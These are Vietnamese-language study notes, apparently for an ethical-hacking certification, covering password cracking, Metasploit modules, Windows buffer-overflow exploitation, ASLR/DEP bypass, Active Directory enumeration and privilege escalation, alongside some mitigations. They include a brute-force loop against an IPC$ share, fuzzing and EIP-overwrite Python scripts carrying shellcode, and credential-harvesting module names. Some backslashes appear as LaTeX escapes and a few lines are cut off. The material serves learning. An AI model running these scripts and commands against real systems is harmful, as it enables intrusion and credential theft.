- **Tùy chỉnh Bộ ký tự (Custom Charset):** Được sử dụng trong tấn công Mask attack khi kẻ tấn công không chắc chắn về loại ký tự ở một vị trí cụ thể. Kẻ tấn công có thể chỉ định các ký tự tùy chỉnh:
  - `-1 abcdefghijklmnopqrstuvwxyz0123456789`
  - `-1 abcdefghijklmnopqrstuvwxyz?d`
  - `-1 ?l0123456789`
  - `-1 ?l?d`
- **Thuật toán bẻ khóa mật khẩu thủ công (Manual Password-Cracking Algorithm):** Thuật toán tự động đoán mật khẩu sử dụng vòng lặp FOR đơn giản. Vòng lặp lấy danh sách tên người dùng và mật khẩu từ một tệp văn bản (đóng vai trò như từ điển) và lặp qua từng dòng.

  - **Cú pháp ví dụ:** `c:\textbackslash{}>FOR /F "tokens=1,2*" %i in (credentials.txt) do net use \textbackslash{}\textbackslash{}victim.com\textbackslash{}IPC$ %j /u:victim.com\textbackslash{}%i 2>>nul && echo %time% %date% >> outfile.txt && echo \textbackslash{}\textbackslash{}victim.com acct: %i pass: %j >> outfile.txt`

- `?a` = `?l?u?d?s` (Tất cả)
- `?b` = 0x00 - 0xff (Byte)

Công cụ kiểm tra mật khẩu mặc định (Default Passwords):

Dùng để tra cứu mật khẩu thiết lập sẵn của nhà sản xuất (router, switch, thiết bị mạng).

- fortypoundhead.com
- cirt.net
- routerpasswords.com
- default-password.info

Công cụ phục hồi mật khẩu (Password Recovery Tools):

Dùng để phá các mật khẩu phức tạp, bẻ khóa file hoặc Windows:

- Elcomsoft Distributed Password Recovery
- Passware Kit Forensic
- hashcat
- PCUnlocker
- Lazesoft Recover My Password
- Passper WinSenior

Công cụ bẻ mật khẩu (Password Cracking Tools):

- L0phtCrack (Kiểm toán và phục hồi Windows password)
- THC Hydra
- RainbowCrack
- hashID, Patator, brutus, BruteX, Secure Shell Bruteforcer

Công cụ phát hiện LLMNR/NBT-NS poisoning:

- `Vindicate`: Khai thác Windows event log để phát hiện sớm các vụ giả mạo name service.
- `Respounder`: Phát hiện các host độc hại đang chạy Responder trên mạng (như Wi-Fi công cộng).
- **Vô hiệu hóa NBT-NS (NetBIOS over TCP/IP):** Mở *Control Panel -> Network and Sharing Center -> Change adapter settings*. Nhấp chuột phải vào card mạng -> *Properties* -> Chọn *TCP/IPv4 -> Properties*. Tại tab General, nhấp *Advanced* -> Tab *WINS*. Trong mục NetBIOS setting, chọn *Disable NetBIOS over TCP/IP* và nhấn OK.
- **Các biện pháp bổ sung:** Áp dụng SMB signing để ngăn tấn công chuyển tiếp (relay attacks); Giám sát cổng UDP 5355 và 137; Phân đoạn mạng (Network segmentation) để khoanh vùng ảnh hưởng; Sử dụng VPN khi truy cập từ xa.
- `got-responded`: Kiểm tra spoofing mà không gửi đi thông tin xác thực SMB giả mạo.

3. Password salting (Muối mật khẩu)

Kỹ thuật thêm một chuỗi ký tự ngẫu nhiên (salt) vào mật khẩu trước khi tính toán hash. Việc này làm tăng độ khó cho kẻ tấn công, phá vỡ hiệu quả của các cuộc tấn công bằng pre-computed hash (như Rainbow table) vì cùng một mật khẩu nhưng sẽ sinh ra các chuỗi hash khác nhau dựa trên "muối" khác nhau.

4. Khai thác lỗ hổng (Vulnerability Exploitation)

Khai thác lỗ hổng là việc thực thi nhiều bước phức tạp và liên kết với nhau để giành quyền truy cập vào hệ thống từ xa. Các bước cơ bản bao gồm:

1. **Xác định lỗ hổng (Identify the vulnerability):** Sử dụng các kỹ thuật footprinting, scanning, enumeration để tìm lỗ hổng trên hệ điều hành và dịch vụ.
2. **Đánh giá rủi ro liên quan (Determine the risk):** Đánh giá xem việc khai thác lỗ hổng này có duy trì được các biện pháp bảo mật trên hệ thống đích không.
3. **Xác định khả năng khai thác (Determine the capability):** Đánh giá tính khả thi để đạt quyền truy cập từ xa.
4. **Phát triển exploit (Develop the exploit):** Lấy mã khai thác từ các trang web hoặc tự phát triển bằng Metasploit.
5. **Chọn phương pháp chuyển payload (Select the method for delivering):** Phân phối mã độc qua local (nếu đã có quyền truy cập trước) hoặc remote (qua mạng).
6. **Tạo và chuyển payload (Generate and deliver the payload):** Bơm shellcode độc hại vào mục tiêu bằng social engineering hoặc tấn công mạng.
7. **Đạt quyền truy cập từ xa (Gain remote access):** Chạy các lệnh kiểm soát hệ thống.

Các bước sử dụng các trang web Exploit để khai thác (Steps to exploit using Exploit Sites):

- Identify (Nhận dạng): Nhận diện hệ điều hành và ứng dụng của mục tiêu thông qua các công cụ footprinting, scanning và enumeration.
- Evaluate (Đánh giá): Tìm kiếm và đánh giá các lỗ hổng dựa trên kết quả nhận dạng từ các cơ sở dữ liệu như Exploit-DB, VulDB.
- Download (Tải xuống): Tải xuống mã khai thác cùng với bất kỳ hướng dẫn hoặc thành phần phụ thuộc nào.
- Modification (Sửa đổi): Nếu cần, sửa đổi mã khai thác để phù hợp với môi trường cụ thể hoặc để tránh bị phát hiện bởi các biện pháp bảo mật.
- Execution (Thực thi): Thực thi mã khai thác nhắm vào hệ thống đích.
- Post-Exploitation (Hậu khai thác): Sau khi giành quyền truy cập, tiến hành các hoạt động hậu khai thác như leo thang đặc quyền, trích xuất dữ liệu, hoặc di chuyển ngang.

Nguồn exploit (Exploit Sites):

Các kho lưu trữ mã khai thác (PoC) dùng để nghiên cứu hoặc thực hiện tấn công:

- **Exploit Database (ExploitDB):** https://www.exploit-db.com
- **VulDB:** Đánh giá các lỗ hổng dựa trên xác suất khai thác cao nhất https://vuldb.com.
- **OSV.dev:** Cơ sở dữ liệu và hạ tầng phân loại lỗ hổng cho các dự án mã nguồn mở (open-source).
- **MITRE CVE:** https://www.cve.org - Cơ sở dữ liệu chứa chi tiết các lỗ hổng mới nhất theo chuẩn mã CVE.

- **Windows Exploit Suggester - Next Generation (WES-NG):** Công cụ dựa trên Python, sử dụng lệnh `systeminfo > systeminfo.txt` để so sánh và gợi ý các lỗ hổng (KBs/Patches bị thiếu) đi kèm với mã khai thác phù hợp trên môi trường Windows. Lệnh: `wes systeminfo.txt`.

5. Metasploit Framework

Metasploit Framework là một nền tảng phát triển mã khai thác (exploit) hỗ trợ tự động hóa hoàn toàn việc khai thác các máy chủ web, ứng dụng thông qua các lỗ hổng đã biết và mật khẩu yếu.

- **Exploit module:** Mô-đun cơ bản dùng để đóng gói một mã khai thác đơn lẻ. Nó chứa các trường thông tin meta được đơn giản hóa. Bằng tính năng Mixins, người dùng có thể thay đổi hành vi khai thác động, thực hiện brute force hoặc khai thác thụ động. Các bước sử dụng: Cấu hình (`Configure an Active Exploit`) -> Xác định tùy chọn (`Verify the Exploit Options`) -> Chọn mục tiêu (`Select a Target`) -> Chọn payload (`Select a Payload`) -> Khởi chạy (`Launch the Exploit`).
- **Payload module:** Thiết lập kênh liên lạc giữa Metasploit và máy nạn nhân. Chứa mã tùy ý (arbitrary code) được thực thi sau khi khai thác thành công. Payload có thể upload/download file, chụp màn hình, thu thập hash mật khẩu, và chiếm quyền điều khiển chuột/bàn phím từ xa. Phân loại (Module types):
  - **Singles:** Tự chứa và hoạt động hoàn toàn độc lập (standalone).
  - **Stagers:** Thiết lập kết nối mạng giữa kẻ tấn công và nạn nhân.
  - **Stages:** Được tải xuống bởi các stager modules.
- **Auxiliary module:** Dùng cho các hành động tùy ý, thực hiện một lần như: quét cổng (port scanning), tấn công từ chối dịch vụ (DoS), và fuzzing. Sử dụng: Dùng lệnh `show auxiliary` để liệt kê mô-đun. Dùng lệnh `run` hoặc `exploit` để chạy mô-đun.
- **NOPS module:** Tạo ra các lệnh "không hoạt động" (no-operation / NOP sled) dùng để lấp đầy bộ đệm (blocking out buffers). Ví dụ lệnh: `msf nop(opty2) > generate -t c 50` (Tạo NOP sled dài 50 byte).
  - **Cấu trúc cơ bản của Auxiliary module bằng Ruby:**
  - Các tùy chọn của NOPS module: -b : Danh sách các ký tự cần tránh (ví dụ: '\x00\xff'). -h: Hiển thị bảng trợ giúp. -s : Danh sách các thanh ghi cần lưu, cách nhau bằng dấu phẩy. -t : Định dạng đầu ra (Ruby, Perl, C, hoặc raw).
- **Encoder modules:** Dùng để mã hóa payload nhằm né tránh sự phát hiện của phần mềm diệt virus (AV) và hệ thống phát hiện xâm nhập (IDS). Tính năng chính: Obfuscation (che giấu), Bypassing signature detection (vượt qua chữ ký nhận diện) và Polymorphism (Tính đa hình - thay đổi payload mỗi lần tạo để giảm tỷ lệ bị phát hiện).
- **Evasion modules:** Sửa đổi hành vi và đặc tính của payload/exploit để né tránh các hệ thống bảo mật (AV, IDS, endpoint protection). Ví dụ: `evasion/windows/windows_defender_exe` hoặc `evasion/windows/antivirus_disable`.
- **Post-exploitation modules:** Dùng sau khi đã xâm nhập thành công hệ thống để tương tác sâu hơn (thu thập thông tin, leo thang đặc quyền, duy trì truy cập, di chuyển ngang - pivoting). Ví dụ:
  - `post/windows/gather/enum_logged_on_users`: Liệt kê những người dùng hiện đang đăng nhập.
  - `post/windows/gather/credentials/credential_collector`: Thu thập các thông tin xác thực lưu trong mục tiêu.
  - `post/linux/gather/enum_configs`: Thu thập các tệp cấu hình khác nhau.
  - `post/linux/gather/hashdump`: Trích xuất hash mật khẩu từ Linux.

- `post/multi/manage/autoroute`: Thêm một route (tuyến) tới mạng cục bộ của mục tiêu thông qua một máy đã thỏa hiệp.
- `post/windows/manage/portproxy`: Thiết lập luật port-forwarding để pivoting.

6. Công cụ khai thác hỗ trợ AI (AI-Powered Vulnerability Exploitation Tools)

- **Nebula:** Công cụ hỗ trợ AI tự động hóa việc xác định và khai thác lỗ hổng bằng cách xử lý các tập dữ liệu lớn. Sử dụng Xử lý ngôn ngữ tự nhiên (NLP) để chuyển đổi các lệnh bằng ngôn ngữ tự nhiên thành các hành động kỹ thuật chính xác. Cung cấp công cụ tìm kiếm lệnh (Command Search Engine).
- **DeepExploit:** Công cụ AI hoàn toàn tự động sử dụng học sâu (mô hình mạng nơ-ron A3C - Asynchronous Advantage Actor-Critic) để xác định và khai thác lỗ hổng. Nó liên kết trực tiếp với Metasploit để thực thi các payload. Mô hình học hỏi và tối ưu hóa liên tục qua từng lần thử khai thác.
  - **Các tính năng chính của DeepExploit (Key Features):**
    * **Fully Automated Vulnerability Identification and Exploitation:** Tự động hóa hoàn toàn việc nhận diện và khai thác lỗ hổng bằng kỹ thuật học sâu (mạng nơ-ron A3C).
    * **Data Gathering and Neural Network Training:** Thu thập thông tin thiết yếu về máy chủ đích (hệ điều hành, tên sản phẩm, phiên bản) để đưa vào mô hình huấn luyện mạng nơ-ron sinh ra payload tùy chỉnh.
    * **Payload Execution via Metasploit Integration:** Tích hợp với Metasploit để thực thi các payload sinh ra nhắm vào mục tiêu.
    * **Continuous Learning and Optimization:** Thông qua các nỗ lực khai thác lặp đi lặp lại, mô hình tự động điều chỉnh trọng số (weights) để cải thiện độ chính xác và hiệu quả theo thời gian.

7. Tràn bộ đệm (Buffer overflow)

Khái niệm: Buffer là một vùng các vị trí nhớ liền kề được cấp phát cho một chương trình để xử lý dữ liệu runtime. Buffer overflow là lỗ hổng xảy ra khi chương trình chấp nhận nhiều dữ liệu hơn mức bộ đệm được cấp phát, khiến dữ liệu tràn ra và ghi đè lên các vị trí nhớ lân cận. Kẻ tấn công khai thác điều này để tiêm mã độc vào bộ đệm nhằm làm hỏng file, sửa dữ liệu, truy cập thông tin nhạy cảm, leo thang đặc quyền, và mở shell (shell access).

Nguyên nhân khiến chương trình dễ bị tràn bộ đệm:

- Không kiểm tra ranh giới đầy đủ (Boundary checks are not performed).
- Sử dụng các ngôn ngữ lập trình cũ có nhiều lỗ hổng (như C, C++).
- Dùng các hàm không an toàn/dễ bị tổn thương để kiểm tra kích thước (ví dụ: `strcpy`).
- Thiếu các thực hành lập trình tốt (thiếu validation và filtering).
- Thực thi code nằm trong phân đoạn ngăn xếp (stack segment).
- Lỗi cấp phát bộ nhớ không đúng cách (Improper memory allocation).
- Cấp phát bộ nhớ không đúng cách và không làm sạch đầu vào (insufficient input sanitization).
- Sử dụng con trỏ truy cập vùng heap memory không an toàn.

Các loại Buffer overflow:

- **Stack-based overflow:** Stack dùng cho cấp phát bộ nhớ tĩnh, lưu trữ theo thứ tự "Vào sau - Ra trước" (LIFO).

  - Toán tử PUSH đẩy dữ liệu vào stack; POP lấy dữ liệu ra.
  - Nếu bị kiểm soát, attacker có thể ghi đè thanh ghi EIP (Instruction pointer) để thay thế địa chỉ trả về (return address) bằng mã độc, giúp chiếm quyền shell.
  - Các thanh ghi liên quan:
    * **EBP (Extended Base Pointer):** Lưu địa chỉ của phần tử dữ liệu đầu tiên trên stack (đầu cơ địa).
    * **ESP (Extended Stack Pointer):** Lưu địa chỉ của phần tử tiếp theo được đưa vào stack.
    * **EIP (Extended Instruction Pointer):** Lưu địa chỉ của lệnh tiếp theo cần thực thi (Rất quan trọng trong khai thác).
    * **ESI/EDI:** Source/Destination index dùng cho các thao tác chuỗi.
- **Heap-based overflow:** Heap là vùng cấp phát động tại runtime, việc cấp phát/giải phóng phải code thủ công (`malloc/free`).
  - Tràn xảy ra khi block bộ nhớ heap nhận dữ liệu vượt quá kích thước (ghi không kiểm tra biên).
  - Dẫn tới ghi đè các con trỏ đối tượng động (dynamic object pointers), heap headers, virtual function tables. Việc khai thác khó và không nhất quán như stack.
- **Mã nguồn C ví dụ về Tràn bộ đệm (Simple Buffer Overflow in C):** Stack-Based Overflow: Heap-Based Overflow:

8. Khai thác Buffer overflow trên Windows

Các bước thực hiện khai thác bao gồm:

- **Perform Spiking:** Gửi các gói TCP/UDP được chế tạo đặc biệt tới server lỗ hổng để ép nó crash. Giúp phát hiện ứng dụng có bị tràn bộ đệm hay không.
  - Sử dụng Netcat: `nc -nv <Target IP> <Target Port>` để kết nối.
  - Tạo mẫu: Sử dụng công cụ để gửi lệnh tới các hàm (ví dụ: STATS hoặc TRUN) qua `generic_send_tcp`.
- **Perform Fuzzing:** Gửi một lượng lớn dữ liệu ngẫu nhiên để tràn thanh ghi EIP, nhằm xác định chính xác số lượng byte cần thiết để làm crash server. Dùng script Python lặp lệnh và nhân lên số lượng byte (ví dụ: gửi chuỗi chữ "A").
- **Kịch bản Python thực hiện Fuzzing:**

```python
import sys, socket
from time import sleep
buff = "A" * 100
while True:
    try:
        soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        soc.connect(('10.10.1.11', 9999))
        soc.send(('TRUN /.:/' + buff))
        soc.close()
        sleep(1)
        buff = buff + "A" * 100
    except:
        print "Fuzzing crashed vulnerable server at %s bytes" % str(len(buff))
        sys.exit()
```

- **Identify the Offset (Xác định offset):** Tìm vị trí chính xác thanh ghi EIP bị ghi đè.
  - Dùng công cụ Ruby của Metasploit: `pattern_create.rb` để sinh chuỗi byte ngẫu nhiên.
  - Dùng `pattern_offset.rb` để nhập mã HEX bị crash từ EIP và tìm ra độ dời (offset).
- **Kịch bản Python gửi byte ngẫu nhiên (Tìm Offset):**

```
import sys, socket
offset = "Aa0Aa1...[chuỗi ngẫu nhiên sinh ra từ pattern_create.rb]"
try:
    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    soc.connect(('10.10.1.11', 9999))
    soc.send(('TRUN /.:/' + offset))
    soc.close()
except:
    print "Error: Unable to establish connection with Server"
    sys.exit()
```

- **Các bước tiếp theo:** Xác định ký tự lỗi (bad characters), tìm đúng module không có bảo vệ bộ nhớ (dùng `mona.py` trong Immunity Debugger), ghi đè thanh ghi EIP bằng địa chỉ module (`JMP ESP`), và cuối cùng sinh shellcode (bằng `msfvenom`) để chiếm root.
- **Kịch bản Python ghi đè EIP và sinh Shellcode:**

```
import sys, socket
# payload sinh ra từ msfvenom
shellcode = b"\textbackslash{}x92\textbackslash{}x81\textbackslash{}x3e..."
# offset 2003 byte, 4 byte JMP ESP, 32 byte NOP sled, sau đó là shellcode
payload = b"A" * 2003 + b"\textbackslash{}xaf\textbackslash{}x11\textbackslash{}x50\textbacksl
try:
    soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    soc.connect(('10.10.1.11', 9999))
    soc.send((b'TRUN /.:/' + payload))
    soc.close()
except:
    print ("Error: Unable to establish connection with Server")
    sys.exit()
```

9. Vượt qua ASLR và DEP (Bypassing ASLR and DEP Security Mechanisms)

ASLR (ngẫu nhiên hóa bộ nhớ) và DEP (ngăn thực thi dữ liệu) bảo vệ hệ thống khỏi buffer overflow. Kẻ tấn công dùng các kỹ thuật sau để vượt qua:

- **Return Oriented Programming (ROP):** Kẻ tấn công tấn công vào call stack, tái sử dụng các đoạn mã hợp lệ có sẵn (gọi là gadgets - thường kết thúc bằng lệnh x86 RET) trong các thư viện (như `libc`). Chúng móc nối (chain) các gadgets này để thực thi mã độc, qua mặt DEP và Code Signing.
- **Heap spraying:** Lấp đầy vùng trống (free space) trong bộ nhớ tiến trình (heap) bằng hàng loạt bản sao của mã độc (thường kèm NOP sleds). Kỹ thuật này lấn át ASLR vì với số lượng lớn dữ liệu được "phun" vào, mã độc sẽ nằm ở một vùng nhớ dễ dự đoán.
- **JIT spraying:** Lợi dụng quá trình biên dịch JIT (Just-In-Time) trên các trình duyệt web hiện đại. Kẻ tấn công viết mã JavaScript độc hại ép JIT compiler dịch ra mã máy (machine code) tương ứng và đưa thẳng vào bộ nhớ. Phương pháp này lách qua được cả ASLR và DEP.

Các biện pháp phòng chống Tràn bộ đệm (Defending against Buffer Overflows):

- Phát triển chương trình theo các quy tắc và hướng dẫn mã hóa an toàn (secure coding practices).
- Sử dụng kỹ thuật ngẫu nhiên hóa bố cục không gian địa chỉ (ASLR) để di chuyển ngẫu nhiên các vị trí không gian địa chỉ của vùng dữ liệu.
- Xác thực đối số và giảm thiểu tối đa các mã yêu cầu đặc quyền root.
- Xác thực độ dài và nội dung của tất cả dữ liệu đầu vào (input data), đặc biệt là dữ liệu từ các nguồn không đáng tin cậy.
- Thực hiện đánh giá mã (code review) ở cấp mã nguồn bằng các trình phân tích mã tĩnh và động.
- Cho phép trình biên dịch thêm ranh giới (bounds) vào tất cả các bộ đệm (implement automatic bound checking).
- Luôn bảo vệ con trỏ trả về (return pointer) trên ngăn xếp.
- Không bao giờ cho phép thực thi mã bên ngoài không gian mã được cấp phép.
- Sử dụng các ngăn xếp không thể thực thi, tức là triển khai Ngăn chặn thực thi dữ liệu (DEP - Data Execution Prevention).
- Thực hiện kiểm tra tính toàn vẹn của con trỏ mã (code pointer integrity checking) để phát hiện con trỏ bị hỏng trước khi nó được sử dụng.
- Tránh sử dụng các hàm không an toàn: Sử dụng strncat thay vì strcat, strncpy thay vì strcpy, và snprintf() thay vì sprintf().
- Sử dụng NX bit để đánh dấu các vùng bộ nhớ là có thể thực thi hoặc không thể thực thi.
- Áp dụng Kiểm tra sâu gói tin (DPI) để phát hiện các nỗ lực khai thác từ xa tại vành đai mạng thông qua chữ ký tấn công.
- Triển khai Bảo vệ ghi đè Trình xử lý ngoại lệ có cấu hình (SEHOP) để ngăn chặn kỹ thuật ghi đè thanh ghi SEH.
- Sử dụng các ngôn ngữ lập trình như Python, COBOL, hoặc Java thay vì C/C++ để tránh các lỗi quản lý bộ nhớ thủ công.
- Sử dụng Stack canaries (các giá trị ngẫu nhiên) đặt trong bộ đệm khiến kẻ tấn công khó ghi đè chính xác.

10. Exploit chaining (Chuỗi khai thác)

Exploit chaining (hay vulnerability chaining) là kỹ thuật tấn công kết hợp nhiều lỗ hổng hoặc mã khai thác nối tiếp nhau để thâm nhập mục tiêu từ gốc. Kẻ tấn công thực hiện trinh sát, đạt quyền truy cập ban đầu qua lỗ hổng thứ nhất, sau đó tiếp tục tìm kiếm và kích hoạt các lỗ hổng sâu hơn (VD: leo thang đặc quyền, hệ thống kernel) tạo thành một chuỗi khó bị các giải pháp bảo mật ngăn chặn kịp thời.

11. AD Domain Mapping và Post-AD Enumeration

- **AD Domain mapping với BloodHound:** BloodHound là ứng dụng web JavaScript (dùng Neo4j và C#) sử dụng lý thuyết đồ thị (graph theory) để ánh xạ kiến trúc tổng thể của domain AD. Nó giúp kẻ tấn công phát hiện các mối quan hệ ẩn, các quyền hạn chồng chéo và các chuỗi tấn công (complex attack paths) trực quan thông qua giao diện GUI.
- **Post-AD enumeration với PowerView:** PowerView là một công cụ PowerShell dùng để liệt kê và trích xuất thông tin nhạy cảm từ môi trường AD. Các đối tượng thu thập bao gồm người dùng (users), nhóm (groups),

tên miền (domains), máy tính (computers), chính sách (GPOs), danh sách kiểm soát truy cập (ACLs), và liên kết ủy thác (Trusts & Forests). Các lệnh tiêu biểu:

12. Liệt kê AD (Post AD Enumeration) bằng PowerView

Attackers sử dụng các lệnh PowerShell (PowerView) để trích xuất thông tin nhạy cảm từ môi trường Active Directory (AD):

Lệnh liệt kê Domain & Policy:

- `Get-ADDomain` / `Get-NetDomain`: Lấy thông tin liên quan đến domain hiện tại, bao gồm cả các Domain Controllers (DCs).
- `Get-DomainSID`: Lấy thông tin Security ID (SID) của domain hiện tại.
- `Get-DomainPolicy`: Lấy thông tin cấu hình policy (chính sách) được sử dụng bởi domain hiện tại.
- `(Get-DomainPolicy)."SystemAccess"`: Lấy thông tin liên quan tới cấu hình policy truy cập hệ thống của domain.
- `(Get-DomainPolicy)."kerberospolicy"`: Lấy thông tin policy Kerberos của domain.
- `Get-NetDomainController`: Lấy thông tin chi tiết về Domain Controller của domain hiện tại (như OS version, roles, IP address).

Lệnh liệt kê Users & Sessions:

- `Get-NetUser`: Lấy thông tin chi tiết liên quan đến người dùng domain hiện tại.
- `Get-NetLoggedon -ComputerName <tên_máy>`: Lấy danh sách người dùng domain đang active (đăng nhập) trên một máy tính cụ thể.
- `Get-UserProperty -Properties pwdlastset`: Lấy thông tin ngày và giờ mật khẩu được set (cài đặt) lần cuối cho mỗi người dùng domain.
- `Find-LocalAdminAccess` / `Invoke-EnumerateLocalAdmin`: Lấy danh sách người dùng có quyền quản trị viên cục bộ (local administrative privileges) trong domain hiện tại. *(Lưu ý: Yêu cầu quyền administrator để chạy)*.
- `Get-NetSession -ComputerName <tên_máy>`: Lấy thông tin liên quan đến người dùng hiện đang đăng nhập vào máy.
- **Các lệnh liệt kê bổ sung của PowerView (Trang 748-752):**
  - **Domain Computers (Máy tính):** `Get-NetComputer` (Lấy tất cả máy tính), `Get-NetComputer | select operatingsystem,dnshostname` (Lấy OS và tên host), `Get-NetComputer -OperatingSystem "*Server 2022*"` (Lọc theo OS), `Get-NetComputer -Ping` (Chỉ lấy các host đang live).
  - **Domain Groups (Nhóm):** `Get-NetGroup` (Lấy tất cả nhóm), `Get-NetGroup -Domain <targetdomain>`, `Get-NetGroup 'Domain Administrators'`, `Get-NetGroup "*admin*"`, `Get-NetGroupMember -GroupName "Domain Admins"`, `Get-NetLocalGroup -ComputerName <computername>`.
  - **Domain Shares (Thư mục chia sẻ):** `Invoke-ShareFinder -Verbose` (Tìm các share trên host), `Get-NetShare`, `Get-NetFileServer -Verbose`, `Invoke-FileFinder` (Tìm các file chứa credentials), `Find-DomainShare`.
  - **Group Policies và OUs:** `Get-NetGPO`, `Get-NetOU`.

- **Access-Control Lists (ACLs):** `Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs`, `Invoke-ACLScanner -ResolveGUIDs`, `Get-PathAcl -Path \textbackslash{}\textbackslash{}Windows11` `Get-Acl`.

13. Liệt kê Domain Trust và Forests

Trust relationships (Mối quan hệ tin cậy) cho phép người dùng của domain này truy cập tài nguyên của domain khác:

- **One-way trust (Trust một chiều / Unidirectional trust):** Cho phép người dùng trong một domain "được tin tưởng" (trusted domain) truy cập vào tài nguyên của một domain "đang tin tưởng" (trusting domain).
- **Two-way trust (Trust hai chiều / Bi-directional trust):** Cho phép người dùng của cả hai domain truy cập tài nguyên qua lại lẫn nhau.
- *(Lưu ý ngoài nguồn)* **Các lệnh liệt kê Forest**:
  - `Get-NetForest`: Lấy thông tin của forest hiện tại.
  - `Get-NetForestDomain`: Lấy danh sách tất cả các domains trong forest hiện tại.

14. Xác định lỗ hổng bằng GhostPack Seatbelt

- **Seatbelt** là một dự án C# thực hiện các bài "kiểm tra an toàn" (safety checks) trên host. Nó thu thập thông tin cấu hình bảo mật PowerShell, Kerberos tickets, và các mục trong Recycle Bin để tìm kiếm điểm yếu.
- **Các nhóm lệnh (Command groups) chính của Seatbelt:**
  - `Seatbelt.exe -group=all`: Chạy toàn bộ các lệnh.
  - `Seatbelt.exe -group=user`: Lấy thông tin user (như FileZilla, PuttySessions, Chrome/Firefox Presence, RDPSavedConnections...).
  - `Seatbelt.exe -group=system`: Lấy thông tin hệ thống (như AntiVirus, AppLocker, DNSCache, Hotfixes, UAC, WindowsFirewall...).
  - `Seatbelt.exe -group=slack` / `-group=chromium`: Lấy thông tin từ Slack và trình duyệt Chromium.
  - `Seatbelt.exe -group=remote`: Lấy thông tin qua việc thực thi hàng loạt kiểm tra như AntiVirus, DNSCache, Hotfixes, RDPsettings, WindowsFirewall, v.v.
  - `Seatbelt.exe -group=misc`: Lấy thông tin từ ChromiumBookmarks, InstalledProducts, McAfeeSiteList, ScheduledTasks, SysmonEvents, v.v.
  - `Seatbelt.exe <Command> -full`: Lấy kết quả đầy đủ không qua bộ lọc.
  - `Seatbelt.exe -group=system -outputfile="C:\textbackslash{}Temp\textbackslash{}out.txt"`: Chạy kiểm tra và xuất kết quả ra file text. (Trang 756)

15. Công cụ phát hiện Buffer Overflow / Quét lỗ hổng

- **OllyDbg:** Là một trình gỡ lỗi phân tích cấp độ hợp ngữ (assembler-level debugger) 32-bit cho Windows. Nó phân tích mã nhị phân, tự động theo dõi (traces) các khung ngăn xếp (stack frames) và quá trình thực thi chương trình, đồng thời ghi log các tham số của các hàm đã biết.
- **Veracode**, **Flawfinder**, **Kiuwan**, **Splint**, **Valgrind**: Các công cụ hỗ trợ chuyên gia bảo mật phát hiện lỗ hổng tràn bộ đệm.

16. Leo thang đặc quyền (Privilege Escalation)

Leo thang đặc quyền là việc lợi dụng lỗi thiết kế, lỗi lập trình hoặc cấu hình sai trong OS/Ứng dụng để đạt quyền truy cập cấp cao:

- **Horizontal privilege escalation (Leo thang đặc quyền ngang):** Người dùng trái phép cố gắng truy cập tài nguyên, chức năng thuộc quyền của một người dùng khác có cùng mức quyền (Ví dụ: User A truy cập tài khoản ngân hàng của User B). Đây không phải là tăng quyền theo ý nghĩa truyền thống.
- **Vertical privilege escalation (Leo thang đặc quyền dọc):** Người dùng trái phép cố gắng đạt được mức đặc quyền cao hơn (Ví dụ: từ user bình thường lên quyền Administrator) để thực thi code hoặc truy cập tài nguyên bị giới hạn.

Các kỹ thuật leo thang đặc quyền cụ thể:

1. **Khai thác lỗ hổng (Exploiting Vulnerabilities):** Sử dụng các kho lưu trữ công khai như ExploitDB (hoặc VulDB) để tra cứu và tải xuống các mã khai thác (exploits) dựa trên OS và ứng dụng mục tiêu.
2. **DLL Hijacking (Trên Windows):** Hầu hết các ứng dụng Windows không sử dụng đường dẫn đầy đủ (fully qualified path) khi gọi DLL, mà chúng tìm trong thư mục ứng dụng trước. Kẻ tấn công đặt một DLL độc hại vào thư mục ứng dụng để nó bị load thay cho DLL thật. Công cụ phát hiện: `Spartacus`, `PowerSploit`.
3. **Dylib Hijacking (Trên macOS):** Tương tự DLL Hijacking nhưng áp dụng cho thư viện động (dynamic library - dylib) trên macOS. macOS sử dụng biến môi trường `DYLD_INSERT_LIBRARIES` để tự động load thư viện. Công cụ phát hiện: `Dylib Hijack Scanner`.
4. **Spectre và Meltdown:** Là lỗ hổng nằm trong thiết kế chip CPU (Intel, AMD, ARM). Lợi dụng các tính năng tối ưu hóa CPU như thực thi suy đoán (speculative execution) và bộ đệm (caching).
   - **Spectre:** Ép CPU đọc các vùng nhớ lân cận vượt quá giới hạn (out-of-bounds), có thể đọc được bộ nhớ kernel. Mô tả cách hoạt động của Spectre: Bộ xử lý (processor) bị ép phải hoàn thành một cuộc thực thi suy đoán của một lệnh đọc trước khi việc kiểm tra ranh giới được thực hiện. Do đó, kẻ tấn công có thể truy cập và đọc các vị trí bộ nhớ vượt quá giới hạn (out-of-bounds). Khi thực thi các câu lệnh điều kiện, để xử lý nhanh hơn, bộ xử lý sử dụng dự đoán nhánh (branch prediction) để chọn một đường dẫn nhằm thực thi suy đoán. Kẻ tấn công khai thác điều này để lừa bộ xử lý thực thi các lệnh sai.
   - **Meltdown:** Cho phép tiến trình không đặc quyền (unprivileged process) đọc vùng nhớ của kernel hoặc bộ nhớ vật lý.
5. **Named Pipe Impersonation (Trên Windows):** Named pipes được Windows dùng để giao tiếp hợp pháp giữa các tiến trình đang chạy (pipe server và pipe client). Kẻ tấn công tạo một pipe server với ít đặc quyền và dụ một client (có đặc quyền cao hơn) kết nối vào, sau đó mạo danh (impersonate) client đó. Metasploit có module sử dụng lệnh `getsystem` để mạo danh và chiếm quyền admin.
6. **Cấu hình dịch vụ sai (Misconfigured Services):**
   - **Unquoted service paths (Đường dẫn dịch vụ không có dấu ngoặc kép):** Khi đường dẫn chứa khoảng trắng nhưng không được đặt trong dấu ngoặc kép (Vd: `C:\textbackslash{}Program Files\textbackslash{}...`), Windows sẽ cố gắng thực thi các phần của đường dẫn. Kẻ tấn công chèn một tệp thực thi độc hại (VD: `C:\textbackslash{}Program.exe`) vào giữa đường dẫn để nó được chạy với quyền SYSTEM.
   - **Service object permissions (Quyền đối tượng dịch vụ):** Quyền dịch vụ bị cấu hình lỏng lẻo cho phép attacker sửa đổi thuộc tính dịch vụ, thay đổi tệp nhị phân thực thi, thêm người dùng mới vào nhóm local admin và chiếm tài khoản.
   - *(Lưu ý ngoài nguồn)* **Unattended Installs:** Quá trình cài đặt tự động lưu lại tệp `Unattend.xml` (tại `C:\textbackslash{}Windows\textbackslash{}Panther\textbackslash{}` v.v.) có thể chứa thông

tin cấu hình và mật khẩu giải mã được.

